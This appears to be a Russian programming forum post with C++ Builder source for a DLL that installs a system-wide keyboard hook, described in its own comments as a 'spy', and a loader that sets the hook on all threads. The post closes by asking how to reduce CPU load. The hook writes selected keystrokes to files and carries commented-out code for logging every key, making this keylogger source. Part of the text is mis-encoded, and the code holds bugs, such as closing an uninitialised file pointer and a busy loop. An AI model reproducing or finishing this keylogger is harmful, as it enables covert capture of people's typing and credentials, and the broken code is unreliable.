| Код | //-------------------------- #include <vcl.h> #include <winuser.h> #include <stdio.h> #include <IniFiles.hpp> #include <DateUtils.hpp> #pragma hdrstop //-------------------------- // Îáúÿâëÿåì ôóíêöèþ äëÿ òîãî, ÷òîáû îñíîâíàÿ ïðîãà ìîãëà å¸ ïîþçàòü èç DLL extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam); //-------------------------- // "Øïèîíñêàÿ" ôóíêöèÿ //-------------------------- LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { FILE *f; // Óêàçàòåëü íà ôàéë char *iniFileName=".\ hook.ini"; TIniFile *ini = new TIniFile(iniFileName); int key1=ini->ReadInteger("hook settings","key1",118); int key2=ini->ReadInteger("hook settings","key2",118); int key3=ini->ReadInteger("hook settings","key3",118); int key4=ini->ReadInteger("hook settings","key4",118); delete ini; //ShoTDateTime
// Îòêðûâàåì ôàéë ñ ëîãîì íà äîáàâëåíèå, åñëè åãî íåò - ñîçäà¸ì TDateTime date; //date=date.CurrentDate(); Sleep(150); if(wParam==key1) {
//TDateTime firstClick = StrToDateTime(Memo1->Lines->Strings[i]); unsigned short year, month, day, hour, min, sec,msec; DecodeDateTime(date.CurrentDate(), year, month, day, hour, min, sec,msec); FILE *fileKey1; // AnsiString s= AnsiString str=(AnsiString)month+year+"key1.quit"; char *filePath=str.c_str(); if((fileKey1=fopen(filePath,"a"))!=NULL) { fputc(wParam,fileKey1); } fclose(f); } if(wParam==key2) { // StringList *List = new StringList( } if(wParam==key3) { //StringList *List = new StringList( } if(wParam==key4) { // StringList *List = new StringList( } //if((f=fopen("c:\\logfile.log","a"))!=NULL) //{ //TDateTime firstClick = StrToDateTime(Memo1->Lines->Strings[i]); // Ïðîñòî ïèøåì êîä íàæàòîé êíîïêè â ôàéë, íî // íå îòñëåæèâàþòñÿ çàãëàâíûå/ïðîïèñíûå, // à òàêæå íàæàòèå è óäåðæèâàíèå îäíîé êíîïêè. // (äëÿ ýòîãî àíàëèçèðóé ïàðàìåòð lParam)
//fputc(MapVirtualKey(wParam,2),f); //fclose(f); ///}
/* Ïåðåä âûõîäîì èç ôóíêöèè - âûçûâàåì íîðìàëüíûé îáðàáîò÷èê ñîîáùåíèé îò êëàâû (÷òî òîëêó îò øïèîíà, åñëè îñòàëüíûå ïðîãè ïåðåñòàíóò íà êëàâó ðåàãèðîâàòü ? :) */ return CallNextHookEx(NULL, code, wParam, lParam); } //-------------------------- // Ôóíêöèÿ âõîäà â DLL - å¸ íå îñòàâëÿåì êàê åñòü //-------------------------- int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*) { return 1; } //--------------------------
|
Вызываю DLL:
| Код | #include <vcl.h> #include <condefs.h> #include <winuser.h> #include <winbase.h> #include <stdio.h> //--------------------------------------------------------------------------- HHOOK hook; // Handle нашей "шпионской" функции //--------------------------------------------------------------------------- WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { // Объявляем тип функции; // параметры и их тип в скобках указывать не надо - и так работает :) typedef int (CALLBACK* lpfn)(); lpfn hookfunc; // Конкретный указатель на функцию
// Юзаем нашу DLL HINSTANCE hDLL=LoadLibrary("dllhook.dll"); // Находим в ней адрес функции, которая и будет шпионить за клавой hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");
// Запускаем шпиона hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */ hookfunc, /* функция, которая шпионит */ LoadLibrary("dllhook.dll"), /* её DLL */ 0 /* Шпионить за всеми потоками в системе*/ );
while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти }
|
как уменьшить кушание процессорных ресурсов? |